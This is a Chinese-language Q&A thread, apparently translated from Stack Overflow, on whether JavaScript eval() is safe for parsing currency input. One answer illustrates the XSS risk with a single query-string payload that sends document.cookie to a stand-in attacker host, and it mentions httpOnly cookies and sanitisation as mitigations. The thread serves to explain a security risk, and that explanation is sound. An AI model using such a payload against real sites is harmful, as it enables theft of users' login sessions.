5

可能重复:
什么时候 JavaScript 的 eval() 不是邪恶的?

我正在编写一个脚本,用户必须在其中写入货币金额,一些示例可能是(用户输入>>转换为),使用美元作为默认货币:

50       >> 50.0 USD
50.5     >> 50.5 USD
50+1 USD >> 51.0 USD
50 GBP   >> 50.0 GBP

我想让这尽可能顺利,因此我想使用 JavaScript(它是一个基于 PHP/MySql + JavaScript 的网络应用程序)。我想使用正则表达式来过滤输入,运行它eval()并返回它。

这是一个坏主意吗?我已经阅读了一些关于eval()成为安全问题的主题。我只是不明白怎么做。用户可以轻松运行 JavaScript 吗?

请记住,我将在稍后阶段使用 PHP 验证所有输入服务器端。

4

2 回答 2

12

没错,最终用户无论如何都可以通过浏览器的开发者控制台轻松执行任意 JavaScript(我一直这样做)。您必须担心的是攻击者劫持了您的功能,以eval达到自己的目的。

原因eval通常被认为是危险的,因为不受信任的代码容易潜入。考虑一个允许您通过查询字符串指定输入的页面,其中输入框预先填充了查询字符串中的值。

攻击者可以传播包含窃取用户登录 cookie 的代码的链接:

/some/url?amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie;

(显然需要正确的 URL 编码;这是为了说明。)

或者,当验证失败时,您的 PHP 脚本可能会将已发布的数据回显到您的表单中。攻击者可以创建一个特制的表单,使用相同的 cookie 窃取代码发布到您的表单。

这些攻击中的每一个都可以通过使用httpOnlycookie(以防止登录 cookie 被盗)或确保数据被清理来缓解 - 但关键是这甚至还没有接近详尽的列出事情可能出错的原因。例如,注入的脚本仍然可以在金额字段中插入 1000 并尝试将该金额转移到攻击者的帐户(如果这是一个汇款页面)。

即使您使用正则表达式来清理输入这一事实也不一定能保护您:完全可以用括号编写任意 JavaScript !

所以底线是,如果您可以绝对确定输入进入您的文本字段的唯一方式是通过用户输入,那么您很好:用户没有获得他们无法做到的任何事情通过控制台。但是,如果攻击者能够以某种方式将他们自己的数据放入该字段,eval那么它可能会使您暴露于漏洞中。

也可以看看:

于 2012-10-31T21:28:30.150 回答
11

如果您需要它,请使用它。

这是一个很好的链接,它讨论了安全性......以及对“eval()”的其他常见反对意见:

安全呢?如果您的软件为 eval 提供了它的论点,那么在这方面就没什么好担心的了。当然,评估输入框的值是不明智的,但是在您自己的服务器代码生成的响应上运行 eval 应该不会带来特殊风险。还要记住,潜在的攻击者不会对客户端评估造成任何损害,而这是他们无法通过现代浏览器控制台更轻松地实现的。

恕我直言 ...

于 2012-10-31T21:08:26.313 回答